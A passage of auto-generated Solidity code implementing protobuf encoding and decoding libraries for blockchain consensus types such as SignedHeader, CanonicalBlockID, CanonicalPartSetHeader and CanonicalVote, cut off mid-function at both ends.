* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[5] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_block_id_flag(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_validator_address(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_timestamp(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_signature(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_block_id_flag(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
TYPES_PROTO_GLOBAL_ENUMS.BlockIDFlag x = TYPES_PROTO_GLOBAL_ENUMS.decode_BlockIDFlag(tmp);
if (isNil(r)) {
counters[1] += 1;
} else {
r.block_id_flag = x;
if(counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_validator_address(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.validator_address = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_timestamp(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.timestamp = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_signature(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.signature = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_Timestamp(uint256 p, bytes memory bs)
internal
pure
returns (Timestamp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (uint(r.block_id_flag) != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_block_id_flag = TYPES_PROTO_GLOBAL_ENUMS.encode_BlockIDFlag(r.block_id_flag);
pointer += ProtoBufRuntime._encode_enum(_enum_block_id_flag, pointer, bs);
}
if (r.validator_address.length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.validator_address, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += Timestamp._encode_nested(r.timestamp, pointer, bs);
if (r.signature.length != 0) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.signature, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_enum(TYPES_PROTO_GLOBAL_ENUMS.encode_BlockIDFlag(r.block_id_flag));
e += 1 + ProtoBufRuntime._sz_lendelim(r.validator_address.length);
e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp));
e += 1 + ProtoBufRuntime._sz_lendelim(r.signature.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (uint(r.block_id_flag) != 0) {
return false;
}
if (r.validator_address.length != 0) {
return false;
}
if (r.signature.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.block_id_flag = input.block_id_flag;
output.validator_address = input.validator_address;
Timestamp.store(input.timestamp, output.timestamp);
output.signature = input.signature;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CommitSig
library SignedHeader {
//struct definition
struct Data {
TmHeader.Data header;
Commit.Data commit;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_header(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_commit(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_header(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(TmHeader.Data memory x, uint256 sz) = _decode_TmHeader(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.header = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_commit(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(Commit.Data memory x, uint256 sz) = _decode_Commit(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.commit = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_TmHeader(uint256 p, bytes memory bs)
internal
pure
returns (TmHeader.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(TmHeader.Data memory r, ) = TmHeader._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_Commit(uint256 p, bytes memory bs)
internal
pure
returns (Commit.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(Commit.Data memory r, ) = Commit._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += TmHeader._encode_nested(r.header, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += Commit._encode_nested(r.commit, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(TmHeader._estimate(r.header));
e += 1 + ProtoBufRuntime._sz_lendelim(Commit._estimate(r.commit));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
TmHeader.store(input.header, output.header);
Commit.store(input.commit, output.commit);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library SignedHeader
library CanonicalBlockID {
//struct definition
struct Data {
bytes hash;
CanonicalPartSetHeader.Data part_set_header;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_hash(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_part_set_header(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.hash = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_part_set_header(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CanonicalPartSetHeader.Data memory x, uint256 sz) = _decode_CanonicalPartSetHeader(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.part_set_header = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CanonicalPartSetHeader(uint256 p, bytes memory bs)
internal
pure
returns (CanonicalPartSetHeader.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CanonicalPartSetHeader.Data memory r, ) = CanonicalPartSetHeader._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CanonicalPartSetHeader._encode_nested(r.part_set_header, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(CanonicalPartSetHeader._estimate(r.part_set_header));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.hash.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.hash = input.hash;
CanonicalPartSetHeader.store(input.part_set_header, output.part_set_header);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CanonicalBlockID
library CanonicalPartSetHeader {
//struct definition
struct Data {
uint64 total;
bytes hash;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_total(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_hash(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_total(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.total = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.hash = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.total != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_uint64(r.total, pointer, bs);
}
if (r.hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_uint64(r.total);
e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.total != 0) {
return false;
}
if (r.hash.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.total = input.total;
output.hash = input.hash;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CanonicalPartSetHeader
library CanonicalVote {
//struct definition
struct Data {
TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType typ;
int64 height;
int64 round;
CanonicalBlockID.Data block_id;
Timestamp.Data timestamp;
string chain_id;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[7] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_typ(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_height(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_round(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_block_id(pointer, bs, r, counters);
}
else if (fieldId == 5) {
pointer += _read_timestamp(pointer, bs, r, counters);
}
else if (fieldId == 6) {
pointer += _read_chain_id(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_typ(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType x = TYPES_PROTO_GLOBAL_ENUMS.decode_SignedMsgType(tmp);
